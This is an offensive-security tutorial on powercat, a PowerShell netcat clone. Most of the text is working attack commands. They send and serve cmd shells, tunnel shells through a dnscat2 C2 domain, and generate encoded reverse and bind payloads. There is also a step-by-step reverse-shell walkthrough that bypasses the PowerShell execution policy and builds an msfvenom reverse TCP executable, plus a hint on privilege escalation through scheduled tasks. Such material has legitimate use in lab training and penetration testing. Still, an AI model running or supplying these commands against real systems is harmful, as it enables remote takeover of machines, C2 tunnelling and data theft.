Bind & Reverse Shell using powercat

This tutorial is to show you how to use powercat which is the Windows equivalent tool for netcat linux. (Netcat: The powershell version. (Powershell Version 2 and Later Supported))

https://github.com/besimorhino/powercat

Parameters:

• -l Listen for a connection. [Switch]
• -c Connect to a listener. [String]
• -p The port to connect to, or listen on. [String]
• -e Execute. (GAPING_SECURITY_HOLE) [String]
• -ep Execute Powershell. [Switch]
• -r Relay. Format: “-r tcp:10.1.1.1:443” [String]
• -u Transfer data over UDP. [Switch]
• -dns Transfer data over dns (dnscat2). [String]
• -dnsft DNS Failure Threshold. [int32]
• -t Timeout option. Default: 60 [int32]
• -i Input: Filepath (string), byte array, or string. [object]
• -o Console Output Type: “Host”, “Bytes”, or “String” [String]
• -of Output File Path. [String]
• -d Disconnect after connecting. [Switch]
• -rep Repeater. Restart after disconnecting. [Switch]
• -g Generate Payload. [Switch]
• -ge Generate Encoded Payload. [Switch]
• -h Print the help message. [Switch]

Basic Connections

By default, powercat reads input from the console and writes input to the console using write-host. You can change the output type to ‘Bytes’, or ‘String’ with -o.

Basic Client:

• powercat -c 10.1.1.1 -p 443

Basic Listener:

• powercat -l -p 8000

Basic Client, Output as Bytes:

• powercat -c 10.1.1.1 -p 443 -o Bytes

File Transfer

powercat can be used to transfer files back and forth using -i (Input) and -of (Output File).

Send File:

• powercat -c 10.1.1.1 -p 443 -i C:\inputfile

Recieve File:

• powercat -l -p 8000 -of C:\inputfile

Shells

powercat can be used to send and serve shells. Specify an executable to -e, or use -ep to execute powershell.

Serve a cmd Shell:

• powercat -l -p 443 -e cmd

Send a cmd Shell:

• powercat -c 10.1.1.1 -p 443 -e cmd

Serve a shell which executes powershell commands:

• powercat -l -p 443 -ep

DNS and UDP

powercat supports more than sending data over TCP. Specify -u to enable UDP Mode. Data can also be sent to a dnscat2 server with -dns. Make sure to add “-e open –no-cache” when running the dnscat2 server.

Send Data Over UDP:

• powercat -c 10.1.1.1 -p 8000 -u
• powercat -l -p 8000 -u

Connect to the c2.example.com dnscat2 server using the DNS server on 10.1.1.1:

• powercat -c 10.1.1.1 -p 53 -dns c2.example.com

Send a shell to the c2.example.com dnscat2 server using the default DNS server in Windows:

• powercat -dns c2.example.com -e cmd

Relays

Relays in powercat work just like traditional netcat relays, but you don’t have to create a file or start a second process. You can also relay data between connections of different protocols.

TCP Listener to TCP Client Relay:

• powercat -l -p 8000 -r tcp:10.1.1.16:443

TCP Listener to UDP Client Relay:

• powercat -l -p 8000 -r udp:10.1.1.16:53

TCP Listener to DNS Client Relay

• powercat -l -p 8000 -r dns:10.1.1.1:53:c2.example.com

TCP Listener to DNS Client Relay using the Windows Default DNS Server

• powercat -l -p 8000 -r dns:::c2.example.com

TCP Client to Client Relay

• powercat -c 10.1.1.1 -p 9000 -r tcp:10.1.1.16:443

TCP Listener to Listener Relay

• powercat -l -p 8000 -r tcp:9000

Generate Payloads

Payloads which do a specific action can be generated using -g (Generate Payload) and -ge (Generate Encoded Payload). Encoded payloads can be executed with powershell -E. You can use these if you don’t want to use all of powercat.

Generate a reverse tcp payload which connects back to 10.1.1.15 port 443:

• powercat -c 10.1.1.15 -p 443 -e cmd -g

Generate a bind tcp encoded command which listens on port 8000:

• powercat -l -p 8000 -e cmd -ge

Misc Usage

powercat can also be used to perform portscans, and start persistent servers.

Basic TCP Port Scanner:

• (21,22,80,443) | % {powercat -c 10.1.1.10 -p $_ -t 1 -Verbose -d}

Start A Persistent Server That Serves a File:

• powercat -l -p 443 -i C:\inputfile -rep

Reverse shell

1. Having already access to a server, you can download into it the tool and run it. First download the tool into your local Kali/Parrot machine

• git clone https://github.com/besimorhino/powercat.git
• cd powercat
• ls

2. Now start a web server in the local machine to transfer the files

• python3 -m http.server 8888

3. Now from the remote machine you can download the file in

• Invoke-WebRequest -URI ‘http://192.168.0.13:8888/powercat.ps1’ -Outfile .\powercat.ps1
• dir

4. Having the file in your server you can start a listener, first we need to bypass the execution policy

• powershell -ep bypass
• Import-Module .\powercat.ps1
• powercat -l -p 4444

Note: For this example, the AV and Firewall were turned off. AV could probably block powercat, and Firewall could block the opening port 4444

5. Now you can use netstat to verify the port has been opened

• netstat -an | FINDSTR 4444

6. Having that we can now create a reverse shell script using MSFVenom, and have it executed from another windows machine

• msfvenom -p windows/x64/shell_reverse_tcp LHOST=192.168.0.7 LPORT=4444 -f exe > rev.exe
• ls
• python3.9 -m http.server 8888

7. Now, download the file into another Windows machine, and, execute it. (it should connect to our victim the one we just opened the port)

• .\rev.exe
• whoami

Note: We got a shell from user vry4n from the other machine.

Extra

This can be used locally also to elevate privileges. So you set up the listener, and have a schedule task (as an example) run the reverse shell program to the same machine with elevated privileges.

Bind shell

1. For a bind shell just execute the powercat.ps1 the same way

• powershell -ep bypass
• Import-Module .\powercat.ps1
• powercat -l -p 4455 -e cmd

2. Verify the port has been opened

• netstat -ano | FINDSTR 4455

2. In a remote machine, in this case Kali, you can run, to connect to that IP & port

• nc 192.168.0.7 4455
• whoami